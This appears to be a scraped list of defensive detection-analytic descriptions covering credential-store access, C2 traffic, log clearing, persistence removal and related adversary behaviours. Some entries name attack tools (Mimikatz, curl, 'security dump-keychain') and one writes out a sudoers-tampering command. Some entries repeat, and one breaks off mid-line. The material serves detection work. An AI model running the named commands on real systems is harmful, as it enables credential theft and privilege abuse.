Description:
Detects macros or VBA triggers set to execute on document open or close events, often correlating with embedded payloads or C2 traffic shortly after execution.
Current version: 1.0
Description:
Processes generating large outbound connections with disproportionate send/receive ratios, often to uncommon ports or hosts, potentially inserting meaningless data into protocol payloads.
Current version: 1.0
Description:
Outbound traffic with anomalous payload sizes and patterns from non-networking processes, often observed via packet inspection or connection logs.
Current version: 1.0
Description:
Previously unseen applications generating outbound connections with atypical data flow characteristics, such as excessive data with no return response.
Current version: 1.0
Description:
Anomalous traffic from ESXi host management daemons (like hostd or vpxa) embedding non-standard payloads in management protocols (e.g., HTTPS) or beaconing behavior.
Current version: 1.0
Description:
Discrepancies between VBA source code and p-code inside Office documents. Defender perspective: anomalies in file metadata streams, execution of Office processes loading macros without source code consistency, and script execution with no corresponding source metadata.
Current version: 1.0
Description:
Execution of Wine or LibreOffice macros with inconsistent VBA metadata. Defender perspective: file analysis showing p-code embedded without matching source streams.
Current version: 1.0
Description:
Opening of Office files where VBA source code appears benign or missing, but p-code remains active. Defender perspective: process execution of Office apps with macro execution lacking visible source components.
Current version: 1.0
Description:
Access to browser artifact locations (e.g., Chrome, Edge, Firefox) by processes like PowerShell, cmd.exe, or unknown tools, followed by file reads, decoding, or export operations indicating enumeration of bookmarks, autofill, or history databases.
Current version: 1.0
Description:
Unauthorized shell or script-based access to browser config or SQLite history files, typically in ~/.config/google-chrome/, ~/.mozilla/, or ~/.var/app folders, indicating enumeration of bookmarks or saved credentials.
Current version: 1.0
Description:
Scripting or CLI tool access to ~/Library/Application Support/Google/Chrome or ~/Library/Safari bookmarks, cookies, or history databases. Detection relies on unexpected processes accessing or reading from these locations.
Current version: 1.0
Description:
Detects staging of sensitive files into temporary or public directories, compression with 7zip/WinRAR, or batch copy prior to exfiltration.
Current version: 1.0
Description:
Detects script or user activity copying files to a central temp or /mnt directory followed by archive/compression utilities.
Current version: 1.0
Description:
Detects files collected into user temp or shared directories followed by compression with ditto, zip, or custom scripts.
Current version: 1.0
Description:
Detects virtual disk expansion or file copy operations to cloud buckets or mounted volumes from isolated instances.
Current version: 1.0
Description:
Detects snapshots or data stored in VMFS volumes from root CLI or remote agents.
Current version: 1.0
Description:
Detects unusual command executions and service modifications that indicate self-patching or disabling of vulnerable services post-compromise. Defenders should monitor for service stop commands, suspicious process termination, and execution of binaries or scripts aligned with known patching or service management tools outside of expected admin contexts.
Current version: 1.0
Description:
Detects adversary attempts to monopolize control of compromised systems by issuing service stop commands, unloading vulnerable modules, or forcefully killing competing processes. Defenders should monitor audit logs and syslog for administrative utilities (systemctl, service, kill) being invoked outside of normal change management.
Current version: 1.0
Description:
Detects unauthorized termination of system daemons or commands issued through launchctl or kill to stop competing services or malware processes. Defenders should monitor unified logs and EDR telemetry for unusual service modifications or terminations.
Current version: 1.0
Description:
Adversary executes commands to enumerate installed antivirus, EDR, or firewall agents using WMI, registry queries, and built-in tools (e.g., tasklist, netsh, sc query). Correlated with elevated process privileges or scripting engine usage.
Current version: 1.0
Description:
Adversary runs discovery commands such as ps aux, systemctl status, or cat /etc/init.d/ to enumerate security software or services. Often occurs alongside privilege escalation or bash script execution.
Current version: 1.0
Description:
Adversary attempts to detect monitoring agents such as Little Snitch, KnockKnock, or other system daemons via process listing (ps -e), application folder checks, and system extension listing.
Current version: 1.0
Description:
Correlated modification of AppCompat registry keys and execution of sdbinst.exe to install custom shim databases. Followed by DLL injection via shim behavior into target application processes.
Current version: 1.0
Description:
A process (often LOLBin or user-launched program) loads a DLL from a user-writable/UNC/Temp path or unsigned/invalid signer. Within a short window the DLL is (a) newly written to disk, (b) spawned as follow-on execution (rundll32/regsvr32), or (c) establishes outbound C2.
Current version: 1.0
Description:
A process loads a shared object (.so) via dlopen/LD_PRELOAD/open from non-standard or temporary locations (e.g., /tmp, /dev/shm), especially shortly after that .so is written or fetched, or linked via manipulated environment variables (LD_PRELOAD/LD_LIBRARY_PATH).
Current version: 1.0
Description:
A process loads a non-system .dylib/.so via dyld (dlopen/dlsym) from user-writable locations (~/Library, /tmp) or after the library was recently created/downloaded, often followed by network egress or persistence.
Current version: 1.0
Description:
Executable or script payloads lacking symbol information and readable strings that are created or dropped by unusual or short-lived processes.
Current version: 1.0
Description:
Executable or binary files created without symbol tables or with stripped sections, especially by non-user shell processes or compilers invoked outside standard dev paths.
Current version: 1.0
Description:
Creation of run-only AppleScripts or Mach-O binaries lacking symbol table and string references, especially when dropped by user space scripting engines or staging apps.
Current version: 1.0
Description:
Inbound binary payloads transferred over HTTP/S with compressed or encoded headers, lacking signature markers or metadata indicative of compiler/toolchain.
Current version: 1.0
Description:
Detects modification of shell startup/logout scripts such as ~/.bashrc, ~/.bash_profile, or /etc/profile, followed by anomalous process execution or network connections upon interactive or remote shell login.
Current version: 1.0
Description:
Correlates zsh shell configuration file changes (e.g., ~/.zshrc, ~/.zlogin, /etc/zprofile) with execution of unauthorized binaries or unexpected network activity triggered on Terminal.app launch.
Current version: 1.0
Description:
Adversary disables or stops critical services (e.g., Exchange, SQL, AV, endpoint monitoring) using native utilities or API calls, often preceding destructive actions (T1485, T1486). Behavioral chain: Elevated execution context + stop-service or sc.exe or ChangeServiceConfigW + terminated or disabled service + possible follow-up file manipulation.
Current version: 1.0
Description:
Adversary executes systemctl or service stop targeting high-value services (e.g., mysql, sshd), possibly followed by rm or shred against data stores. Behavioral chain: sudo/su usage + stop command + /var/log/messages or syslog entries + file access/delete.
Current version: 1.0
Description:
Use of launchctl to stop services or kill critical background processes (e.g., securityd, com.apple.*), typically followed by command-line tools like rm or diskutil. Behavioral chain: Terminal or remote shell + launchctl bootout/disable + process termination + follow-on modification.
Current version: 1.0
Description:
Attacker disables VM-related services or stops VMs forcibly to target vmdk or logs. Behavioral chain: esxcli or vim-cmd stop + audit log showing user privilege use + datastore file manipulation.
Current version: 1.0
Description:
Adversary stages a lure that references a remote resource (e.g., LNK/SCF/Office template). When the user opens/renders the file or a shell enumerates icons, the host automatically attempts SMB or WebDAV authentication to the attacker host. The chain is: (1) lure file is created or modified in a user-exposed location → (2) user or system accesses the lure → (3) host makes outbound NTLM (SMB 139/445 or WebDAV over 80/443) to an untrusted destination → (4) repeated attempts from multiple users/hosts or from privileged workstations.
Current version: 1.0
Description:
Detection of unpacking behavior through abnormal memory allocation, followed by executable code injection and execution from non-image sections.
Current version: 1.0
Description:
Correlates ELF file execution with high-entropy writable memory segments and self-modifying code patterns.
Current version: 1.0
Description:
Detection of packed Mach-O binaries unpacking into memory and transferring control to dynamically modified code segments.
Current version: 1.0
Description:
Detects unauthorized access, copying, or modification of Kerberos ccache files (krb5cc_%UID% or krb5.ccache) in /tmp or custom paths defined by KRB5CCNAME. Correlates file access with suspicious processes (e.g., credential dumping tools) and subsequent anomalous Kerberos authentication requests from non-standard processes.
Current version: 1.0
Description:
Detects abnormal interaction with memory-based Kerberos ccache (API:{uuid}) or file-based overrides. Focus on processes attempting to enumerate or extract Kerberos tickets outside of built-in utilities. Detects use of open-source tools (e.g., Bifrost, modified Mimikatz ports) that interact with the Kerberos framework APIs.
Current version: 1.0
Description:
Abuse of trusted Electron apps (Teams, Slack, Chrome) to spawn child processes or execute payloads via malicious command-line arguments (e.g., --gpu-launcher) and modified app resources (.asar). Behavior chain: suspicious parent process (Electron app) → unusual command-line args → child process creation → optional DLL/network artifacts.
Current version: 1.0
Description:
Abuse of Linux Electron binaries by modifying app.asar or config JS files and spawning unexpected child processes (bash, curl, python).
Current version: 1.0
Description:
Abuse of macOS Electron apps by modifying app.asar bundles and spawning child processes (osascript, curl, sh) from Electron executables.
Current version: 1.0
Description:
Correlated registry modifications under Print Processors path, followed by DLL file creation within the system print processor directory, and DLL load by spoolsv.exe. Malicious execution often occurs during service restart or system boot, with SYSTEM-level privileges.
Current version: 1.0
Description:
Detects unexpected or high-volume HTTP/S/WebSocket communication from suspicious processes (e.g., PowerShell, rundll32) using uncommon user agents or mimicking browser traffic to unusual domains or IPs.
Current version: 1.0
Description:
Detects curl, wget, Python requests, or custom HTTP clients communicating over non-standard ports, with repetitive or beacon-like patterns or POST-heavy behavior to rare domains.
Current version: 1.0
Description:
Detects applications such as Automator, AppleScript, or LaunchDaemons invoking HTTP/S traffic to non-standard domains or using suspicious headers (e.g., Base64 in URIs or cookie fields).
Current version: 1.0
Description:
Detects HTTP or HTTPS communication initiated by shell-based scripts or management daemons, especially those reaching public IPs over ports 80/443 using embedded curl or wget.
Current version: 1.0
Description:
Detects Web protocol misuse such as encoded HTTP headers, WebSocket upgrade requests with abnormal payloads, or TLS handshake anomalies suggesting embedded C2 channels.
Current version: 1.0
Description:
Processes invoking network-intensive child processes or uploading large data volumes, often from non-standard user or system contexts, with evidence of long-duration TCP/UDP sessions to unusual destinations.
Current version: 1.0
Description:
User-initiated processes generating sustained outbound traffic over common or non-standard ports, often outside business hours, potentially linked to scanning or proxyjacking. Includes curl, wget, masscan, or proxy clients.
Current version: 1.0
Description:
Suspicious long-lived or high-throughput connections by non-Apple signed apps or processes not commonly associated with network uploads. Detect background processes using open sockets for data egress.
Current version: 1.0
Description:
Containerized apps or sidecar containers generating excessive outbound traffic or being leveraged for proxy networks. Includes sudden increases in network interface stats, especially in dormant or low-util apps.
Current version: 1.0
Description:
Virtual instances or workloads generating sustained outbound data rates, often to TOR, VPN, or proxy endpoints. Often coincides with unusual IAM usage or deployed scripts (e.g., cron jobs using proxy clients).
Current version: 1.0
Description:
Adversary uses a tool like Ruler to insert a malicious custom form into the user's Outlook mailbox. The form is designed to auto-execute on Outlook startup or on receipt of a specially crafted email. This results in child processes launched from outlook.exe and possibly network connections or payload loading.
Current version: 1.0
Description:
Outlook form execution upon message receipt or client launch results in automated code execution within user session. Form definitions deviate from standard templates and include script logic or COM object calls embedded in form fields.
Current version: 1.0
Description:
Detects modifications to IAM conditions or policies that alter authentication behavior, such as adding permissive trusted IPs, removing MFA requirements, or changing regional access restrictions. Behavioral detection focuses on anomalous policy updates tied to privileged accounts and subsequent suspicious logon activity from previously blocked regions or devices.
Current version: 1.0
Description:
Detects suspicious updates to conditional access or MFA enforcement policies in identity providers such as Entra ID, Okta, or JumpCloud. Focus is on removal of policy blocks, addition of broad exclusions, or registration of adversary-controlled MFA methods, followed by anomalous login activity that takes advantage of the modified policies.
Current version: 1.0
Description:
Execution of binaries with invalid digital signatures, where metadata claims code is signed but validation fails. Behavior is often correlated with suspicious parent processes or unexpected execution paths.
Current version: 1.0
Description:
Binaries or applications executed with tampered or unverifiable code signatures. Often tied to Gatekeeper bypasses, App Translocation, or use of unsigned launch daemons by untrusted users.
Current version: 1.0
Description:
Suspicious use of attrib.exe or PowerShell commands to set hidden attributes on files/directories. Defender view: processes modifying file attributes to 'hidden' or creating files with ADS (alternate data streams).
Current version: 1.0
Description:
Creation of files or directories with a leading '.' in privileged directories (/etc, /var, /usr/bin). Defender view: monitoring auditd logs for file creations where name begins with '.' and correlated with unusual user/process context.
Current version: 1.0
Description:
Use of chflags hidden or SetFile -a V commands to hide files, or creation of hidden files with leading '.'. Defender view: monitoring process execution and file metadata changes setting UF_HIDDEN attribute.
Current version: 1.0
Description:
Defenders can observe suspicious replacement or tampering of system accessibility binaries (e.g., utilman.exe, sethc.exe, osk.exe) and anomalous modifications to registry keys used to redirect accessibility programs (such as IFEO keys). Additionally, execution of cmd.exe or other suspicious binaries triggered from the login screen by SYSTEM can be correlated as part of a behavior chain.
Current version: 1.0
Description:
Identifies adversary behavior that launches commands or invokes APIs to enumerate active processes (e.g., tasklist.exe, Get-Process, or CreateToolhelp32Snapshot). Detects execution combined with parent process lineage, network session context, or remote origin.
Current version: 1.0
Description:
Detects execution of common process enumeration utilities (e.g., ps, top, htop) or access to /proc with suspicious ancestry. Correlates command usage with interactive shell context and user role.
Current version: 1.0
Description:
Monitors execution of ps, top, or launchctl with unusual parent processes or from terminal scripts. Also detects AppleScript-based process listing or system_profiler SPApplicationsDataType misuse.
Current version: 1.0
Description:
Detects process enumeration using esxcli system process list or ps on ESXi shell or via unauthorized SSH sessions. Correlates with interactive sessions and abnormal user roles.
Current version: 1.0
Description:
Monitors CLI-based execution of show process or equivalent on routers/switches. Correlates unusual device access, unauthorized roles, or config mode changes.
Current version: 1.0
Description:
Suspicious processes initiating encrypted HTTPS connections to common web service domains, followed by abnormal data upload behavior or automated posting behavior indicative of C2 bidirectional traffic.
Current version: 1.0
Description:
Non-interactive system processes making encrypted HTTPS connections to well-known web services followed by high outbound traffic volume or scripted upload patterns.
Current version: 1.0
Description:
Scripting engines (e.g., osascript, Python) initiating HTTPS requests to social media or content-sharing platforms, paired with automated response handling indicative of two-way communication.
Current version: 1.0
Description:
Adversary registers new devices to compromised user accounts to bypass MFA or conditional access policies via Azure Entra ID, Okta, or Duo self-enrollment portals.
Current version: 1.0
Description:
Adversary registers a Windows device to Entra ID or bypasses conditional access by adding device via Intune registration pipeline using stolen credentials.
Current version: 1.0
Description:
Detects unauthorized access to web browser credential stores (e.g., Chrome Login Data, Edge Credential Locker) by processes other than the browser itself. Correlates file reads of credential databases with subsequent API calls to CryptUnprotectData or memory inspection attempts.
Current version: 1.0
Description:
Detects attempts to access browser credential stores (e.g., Firefox logins.json, Chrome SQLite DB) or processes (e.g., gnome-keyring-daemon). Observes unauthorized file reads and memory inspection of browser processes using ptrace or gdb.
Current version: 1.0
Description:
Detects abnormal access to Safari credential stores (Keychain-backed) or Chrome/Firefox login databases. Observes processes executing security dump-keychain or directly reading credential files in ~/Library/Application Support. Correlates file access with suspicious process ancestry or unsigned binaries.
Current version: 1.0
Description:
Executables written or modified in installer directories (e.g., %TEMP% subdirectories or Program Files installer paths) followed by execution under elevated context. Defender observes abnormal file replacement activity, process creation by installer processes pointing to attacker-supplied binaries, and unexpected module loads in elevated processes.
Current version: 1.0
Description:
Correlate high-frequency or anomalous DNS query activity with processes that do not normally generate network requests (e.g., Office apps, system utilities). Detect pseudo-random or high-entropy domain lookups indicative of domain generation algorithms (DGAs).
Current version: 1.0
Description:
Monitor /var/log/audit/audit.log and DNS resolver logs for repeated failed lookups or connections to high-entropy domain names. Correlate suspicious DNS queries with process lineage (e.g., Python, bash, or unusual system daemons).
Current version: 1.0
Description:
Inspect unified logs for anomalous DNS resolutions triggered by non-network applications. Flag repeated connections to newly registered or algorithmically generated domains. Correlate with endpoint process telemetry.
Current version: 1.0
Description:
Monitor esxcli and syslog records for DNS resolver changes or repeated queries to unusual external domains by management agents. Detect unauthorized changes to VM or host network settings that redirect DNS lookups.
Current version: 1.0
Description:
Detects adversary activity that removes persistence artifacts such as services, registry keys, scheduled tasks, user accounts, and binaries through commands like sc delete, schtasks /delete, or reg delete.
Current version: 1.0
Description:
Detects removal of persistence artifacts such as crontab entries, systemd service units, and malicious user accounts through commands like crontab -r, rm /etc/systemd/system/*.service, or userdel.
Current version: 1.0
Description:
Detects deletion of launch agents (~/Library/LaunchAgents/) and launch daemons (/Library/LaunchDaemons/), especially after suspicious process execution or when tied to known persistence methods.
Current version: 1.0
Description:
Detects adversary removal of persistence implants (e.g., rc.local entries or crontab injections) via CLI (rm, sed, crontab -r) and deletion of startup or management scripts.
Current version: 1.0
Description:
Adversary with write access to storage modifies lifecycle policies (e.g., via PutBucketLifecycle) to schedule rapid object deletion across one or more storage buckets. This is often used to trigger impact (destruction), remove logs (defense evasion), or force extortion (ransomware).
Current version: 1.0
Description:
Detects abuse of verclsid.exe to execute COM objects by monitoring process creation, CLSID arguments, DLLs or scriptlet engines loaded into memory, and If the CLSID points to remote SCT/HTA content, verclsid.exe makes outbound connections.
Current version: 1.0
Description:
Unusual process or API usage attempting to query system locale, timezone, or keyboard layout (e.g., calls to GetLocaleInfoW, GetTimeZoneInformation). Detection can be enhanced by correlating with processes not typically associated with system configuration queries, such as unknown binaries or scripts.
Current version: 1.0
Description:
Detection of commands accessing locale, timezone, or language settings such as 'locale', 'timedatectl', or parsing /etc/timezone. Anomalous execution by unusual users or automation scripts should be flagged.
Current version: 1.0
Description:
Detection of system calls or commands accessing system locale (e.g., 'defaults read -g AppleLocale', 'systemsetup -gettimezone'). Correlate with unusual parent processes or execution contexts.
Current version: 1.0
Description:
Detection of queries to instance metadata services (e.g., AWS IMDS, Azure Metadata Service) for availability zone, region, or network geolocation details. Correlation with non-management accounts or non-standard workloads may indicate adversary reconnaissance.
Current version: 1.0
Description:
Installation of a new browser extension followed by suspicious file writes or outbound network connections to untrusted domains by the browser process.
Current version: 1.0
Description:
Installation of malicious .mobileconfig profiles or browser extension plist entries followed by abnormal browser child process activity.
Current version: 1.0
Description:
Manual or scripted installation of Chrome extensions using user scripts or config files, followed by unexpected network connections from browser processes.
Current version: 1.0
Description:
Inconsistencies between process command-line arguments logged at creation time and subsequent process behavior. Defender perspective: monitoring for processes launched in a suspended state, followed by memory modifications (e.g., WriteProcessMemory targeting the PEB) that overwrite arguments before execution resumes. Detection also includes observing anomalous behaviors from processes whose logged arguments do not align with executed activity (e.g., network connections, file writes, or registry modifications).
Current version: 1.0
Description:
Execution of discovery commands or API calls for virtualization artifacts (e.g., registry keys, device drivers, services), sleep/skipped execution behavior, or sandbox evasion DLLs before payload deployment.
Current version: 1.0
Description:
Execution of commands to enumerate virtualization-related files or processes (e.g., '/sys/class/dmi/id/product_name', dmesg, lscpu, lspci), or querying hypervisor interfaces prior to malware execution.
Current version: 1.0
Description:
Execution of scripts or binaries that check for virtualization indicators (e.g., system_profiler, ioreg -l, kextstat), combined with delay functions or anomalous launchd activity.
Current version: 1.0
Description:
Detection focuses on processes that attempt to locate, access, or exfiltrate local Outlook data files (.pst/.ost) using file system access, native Windows utilities (e.g., PowerShell, WMI), or remote access tools with file browsing capabilities. The behavior chain includes directory enumeration, file access, optional compression or staging, and network transfer.
Current version: 1.0
Description:
Detects adversaries accessing remote mail systems (e.g., Exchange Online, O365) using stolen credentials or OAuth tokens, followed by scripted access to mailbox contents via PowerShell, AADInternals, or unattended API queries. Detection focuses on abnormal logon sessions, user agents, IP locations, and scripted or tool-based email data access.
Current version: 1.0
Description:
Monitors programmatic access to user mailboxes in cloud-based email systems (e.g., O365, Exchange Online) using APIs or tokens. Focuses on OAuth misuse, suspicious MailItemsAccessed patterns, scripted keyword searches, and connections from untrusted agents or locations.
Current version: 1.0
Description:
Detects attempts to clear RDP/network history and modify network configuration artifacts through command execution, registry key deletion, firewall rule changes, and suspicious file deletions (e.g., Default.rdp, registry edits to Terminal Server Client keys).
Current version: 1.0
Description:
Detects deletion or overwriting of logs/configs that store SSH or proxy activity, such as /var/log/auth.log or custom .bash_history clearing tied to SSH sessions or firewall rule changes.
Current version: 1.0
Description:
Detects removal of Remote Login or Screen Sharing logs in Unified Logging, deletion of com.apple.UTun, or suspicious Terminal use of rm, sudo pfctl -F all to clear network state/config history.
Current version: 1.0
Description:
Detects firewall rule modifications or reset of logs/connection tables (e.g., clear logging, erase startup-config, write erase) following remote access activity on routers, switches, or VPN appliances.
Current version: 1.0
Description:
An adversary writes or drops a malicious Office Add-in (e.g., WLL, XLL, COM) to a trusted directory or modifies registry keys to load malicious add-ins on Office application launch. Upon user opening Word or Excel, the add-in is automatically loaded, triggering execution of the payload, often spawning scripting engines or anomalous child processes.
Current version: 1.0
Description:
Malicious Office add-ins loaded via VSTO, COM, or VBA auto-load paths. Upon launch of Word/Excel/Outlook, the add-in executes code without user action. Add-in resides in trusted directory or registered via Office COM/VBE subsystem. Behavior includes unsigned add-in execution, anomalous load context, or add-in spawning interpreter process.
Current version: 1.0
Description:
Creation or modification of files in directories known to be excluded from AV scanning (e.g., C:\Windows\Temp, Exchange server directories, or default AV exclusions). Defender perspective: correlate file creation with execution behavior or anomalous parent processes writing to excluded paths.
Current version: 1.0
Description:
Adversaries writing or moving payloads into directories configured as AV/EDR exclusion paths (e.g., /tmp, /var/lib, or custom directories from auditd exclusion rules). Defender perspective: detect file creation in paths matching known exclusions correlated with unusual parent processes.
Current version: 1.0
Description:
Suspicious file creation or modification in directories ignored by XProtect or AV exclusions (e.g., ~/Library, temporary cache directories). Defender perspective: monitor file events in ignored paths with correlation to execution or persistence activity.
Current version: 1.0
Description:
Correlate command executions involving 'sudo' with elevated effective user ID (euid=0), especially when tty_tickets is disabled or timestamp_timeout is actively abused.
Current version: 1.0
Description:
Detect sudo activity with NOPASSWD in /etc/sudoers or disabling tty_tickets, followed by immediate privileged commands (e.g., echo 'Defaults !tty_tickets' >> /etc/sudoers).
Current version: 1.0
Description:
Detects excessive outbound traffic to remote host over HTTP(S) from uncommon or previously unseen processes.
Current version: 1.0
Description:
Identifies custom or previously unseen userland processes initiating high-volume HTTP connections with low response volume.
Current version: 1.0
Description:
Flags unexpected user applications initiating long-lived HTTP(S) sessions with irregular traffic patterns.
Current version: 1.0
Description:
Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting. Defender observes: internal mail delivery to peers with high entropy attachments, followed by click events, process initiation, or credential prompts.
Current version: 1.0
Description:
Delivery of suspicious internal communication (e.g., Thunderbird, Evolution) using compromised internal accounts. Sequence of: unexpected user activity + mail transfer logs + download or execution of attachments.
Current version: 1.0
Description:
Abnormal Apple Mail use, including internal email relays followed by file execution or script events (e.g., attachments launched via Preview, terminal triggered from Mail.app)
Current version: 1.0
Description:
Internal spearphishing via SaaS applications (e.g., Slack, Teams, Gmail): message sent from compromised user with attachment or URL, followed by click and credential access behavior.
Current version: 1.0
Description:
Outlook or Word used to forward suspicious internal attachments with macro content. Defender observes attachment forwarding, auto-opening behaviors, or macro prompt interactions.
Current version: 1.0
Description:
Detection of adversary attempts to enumerate Group Policy settings through suspicious command execution (gpresult), PowerShell enumeration (Get-DomainGPO, Get-DomainGPOLocalGroup), and abnormal LDAP queries targeting groupPolicyContainer objects. Defenders observe unusual process lineage, script execution, or LDAP filter activity against domain controllers.
Current version: 1.0
Description:
Detection of unauthorized modifications to Windows root certificate stores by monitoring registry keys, certificate installation processes, and creation of new certificate entries not in baseline trusted lists.
Current version: 1.0
Description:
Detection of unexpected additions or modifications to system-wide certificate stores or execution of commands adding certificates to trusted stores.
Current version: 1.0
Description:
Detection of malicious certificate installation via monitoring execution of the security add-trusted-cert command and modifications to system keychains.
Current version: 1.0
Description:
Detects suspicious memory access attempts targeting the securityd process. Observes tools invoking process memory read operations (e.g., ptrace, task_for_pid) against securityd. Correlates with anomalous parent process lineage, root privilege escalation, or repeated unauthorized attempts.
Current version: 1.0
Description:
Detects adversaries attempting to attach debuggers or memory dump utilities to credential storage daemons analogous to macOS securityd. Observes ptrace syscalls, /proc/
Current version: 1.0
Description:
Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).
Current version: 1.0
Description:
Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).
Current version: 1.0
Description:
Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).
Current version: 1.0
Description:
Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).
Current version: 1.0
Description:
Correlate unauthorized or anomalous file modifications, deletions, or metadata changes with suspicious process execution or API calls. Detect abnormal changes to structured data (e.g., database files, logs, financial records) outside expected business process activity.
Current version: 1.0
Description:
Detect unauthorized manipulation of log files, database entries, or system configuration files through auditd and syslog. Correlate shell commands that alter HISTFILE or data-related processes with abnormal file access patterns.
Current version: 1.0
Description:
Detect manipulation of system or application files in /Library, /System, or user data directories using FSEvents and Unified Logs. Identify anomalous process execution modifying plist files, structured data, or logs outside expected update cycles.
Current version: 1.0
Description:
Unusual or uncommon processes initiate network connections to external destinations followed by file creation (tools downloaded).
Current version: 1.0
Description:
Shell-based tools (curl, wget, scp) initiate connections to external domains followed by creation of executable files on disk.
Current version: 1.0
Description:
Process execution of curl or wget followed by a network connection and a file created in temporary or user-specific directories.
Current version: 1.0
Description:
Command line interface or vCLI triggers remote transfer using wget or curl, writing files into datastore paths or local tmp directories.
Current version: 1.0
Description:
Network device logs show anomalous inbound file transfers or uncharacteristic flows with high payload volume to network devices with storage or automation hooks.
Current version: 1.0
Description:
Detects modification of registry keys used for default file handlers, followed by anomalous process execution from user-initiated file opens. This includes tracking changes under HKCU and HKCR for file extension mappings, and correlating them with new or suspicious handler paths launching unusual child processes (e.g., PowerShell, cmd, wscript).
Current version: 1.0
Description:
Disabling or modifying the Linux Audit system through process termination (auditd killed), service management (systemctl stop auditd), or tampering with rule/configuration files (/etc/audit/audit.rules, audit.conf). Defender view: suspicious execution of auditctl/systemctl commands, file modifications to audit rules, or sudden absence of audit logs correlated with privileged execution.
Current version: 1.0
Description:
Detects Python execution via python.exe or py.exe with anomalous parent lineage (e.g., Office macros, LOLBAS), execution from unusual directories, or chained network/PowerShell/system-level activity.
Current version: 1.0
Description:
Detects native Python or framework-based execution from Terminal, embedded apps, or launchd jobs. Flags network calls, persistence writes, or system enumeration after Python launch.
Current version: 1.0
Description:
Detects Python execution from non-standard user contexts or cron jobs that invoke outbound traffic, access sensitive files, or perform process injection (e.g., ptrace or /proc memory maps).
Current version: 1.0
Description:
Detects Python script or interpreter execution on ESXi hosts via embedded BusyBox shells, nested installations, or dropped files via SSH or datastore mount. Flags unusual scripting or post-compromise enumeration behavior.
Current version: 1.0
Description:
Unquoted service or shortcut paths that contain spaces and allow path interception by higher-level executables. Defender observes registry service configurations with unquoted paths, file creation of executables in parent directories of unquoted paths, and subsequent process execution from unexpected locations.
Current version: 1.0
Description:
Defenders may detect abuse of container administration commands by observing anomalous use of management utilities (docker exec, kubectl exec, or API calls to kubelet) correlated with unexpected process creation inside containers. Behavioral chains include unauthorized API requests followed by command execution within running pods or containers, often originating from unusual user accounts, automation scripts, or IP addresses outside the expected cluster management plane.
Current version: 1.0
Description:
Behavioral chain: (1) a user-facing app (browser/Office/email client) launches a URL or handles a link, then (2) the same process lineage makes an outbound connection to an untrusted domain/IP, (3) a file is downloaded or unpacked to a user-writable location shortly after the click. Optional enrichment: subsequent child execution by LOLBINs.
Current version: 1.0
Description:
Behavioral chain: (1) browser/office/GUI mail client opens a URL, (2) outbound connection to untrusted domain, (3) a new file is saved in $HOME/Downloads, /tmp, or cache immediately after.
Current version: 1.0
Description:
Behavioral chain: (1) Safari/Chrome/Firefox/Office handles a URL; unified logs show open/click or LSQuarantine assignment, (2) outbound connection to untrusted domain, (3) a new file appears in ~/Downloads or /private/var/folders/* with quarantine flag.
Current version: 1.0
Description:
Execution of processes using nohup or shell redirection to ignore SIGHUP and continue running after session termination. Defender perspective: correlation between commands including nohup, disowned jobs, or & suffix with continued process execution after parent terminal exit.
Current version: 1.0
Description:
PowerShell or script execution with parameters that suppress errors or ignore user interrupts, such as -ErrorAction SilentlyContinue. Defender perspective: detecting discrepancies between suppressed error arguments and continued execution behavior.
Current version: 1.0
Description:
Use of nohup, disown, or AppleScript constructs to suppress process interrupts. Defender perspective: commands containing nohup or hidden background tasks (osascript with persistent execution) correlated with processes surviving user logouts.
Current version: 1.0
Description:
Adversary installs or modifies IIS components (ISAPI filters, extensions, or modules) using DLL files registered via configuration changes or administrative tools like AppCmd.exe. These components intercept or manipulate HTTP requests/responses for persistence or C2.
Current version: 1.0
Description:
Chain: (1) a new external device is recognized by Windows (USB/Thunderbolt/PCIe) or a new block device appears; (2) within a short window, the same user/session spawns processes or the OS mounts a new volume; (3) optional follow-on activity such as HID keystroke injection, DMA driver load, or new network interface MAC on DHCP. Correlate Security EID 6416 / Kernel-PnP with sysmon and DHCP/network metadata.
Current version: 1.0
Description:
Chain: (1) udev / kernel logs show hot-plug (USB/Thunderbolt/PCIe); (2) block device created by udisks/diskarbitration; (3) optional: new network interface or DHCP lease observed. Correlate /var/log/messages|syslog, auditd SYSCALL open/creat on /dev, and DHCP/Zeek.
Current version: 1.0
Description:
Chain: (1) unified logs report IOUSBHost/IOThunderbolt device arrival; (2) diskarbitrationd attaches a new volume; (3) optional: config profile manipulation or new network interface MAC obtains a lease. Correlate unifiedlogs (subsystems: IOUSBHost, IOKit, diskarbitrationd), FSEvents, and DHCP/Zeek.
Current version: 1.0
Description:
Unusual inbound email activity where attachments or embedded URLs are delivered to users followed by execution of new processes or suspicious document behavior. Detection involves correlating email metadata, file creation, and network activity after a phishing message is received.
Current version: 1.0
Description:
Monitor for malicious payload delivery through phishing where attachments or URLs in email clients (e.g., Thunderbird, mutt) result in unusual file creation or outbound network connections. Focus on correlation between mail logs, file writes, and execution activity.
Current version: 1.0
Description:
Detection of phishing through anomalous Mail app activity, such as attachments saved to disk and immediately executed, or Safari/Preview launching URLs and files linked from email messages. Correlate UnifiedLogs events with subsequent process execution.
Current version: 1.0
Description:
Phishing via Office documents containing embedded macros or links that spawn processes. Detection relies on correlating Office application logs with suspicious child process execution and outbound network connections.
Current version: 1.0
Description:
Phishing attempts targeting IdPs often manifest as anomalous login attempts from suspicious email invitations or fake SSO prompts. Detection correlates login flows, MFA bypass attempts, and anomalous geographic patterns following phishing email delivery.
Current version: 1.0
Description:
Phishing delivered via SaaS services (chat, collaboration platforms) where messages contain malicious URLs or attachments. Detect anomalous link clicks, suspicious file uploads, or token misuse after SaaS-based phishing attempts.
Current version: 1.0
Description:
Detects file transfers or mounting operations from remote hosts followed by write actions into a local staging directory, often using SMB or remote shell activity.
Current version: 1.0
Description:
Detects inbound SCP, rsync, or NFS mounts from remote systems followed by aggregation of files into known staging paths like /mnt/staging or /var/tmp.
Current version: 1.0
Description:
Detects rsync or scp inbound from other hosts that then aggregate content into /Users/Shared or /private/tmp, often involving compressed files or scripts.
Current version: 1.0
Description:
Detects remote writes or snapshots mounted from other systems into a central ESXi VMFS path or NFS store used for remote staging of files before exfiltration.
Current version: 1.0
Description:
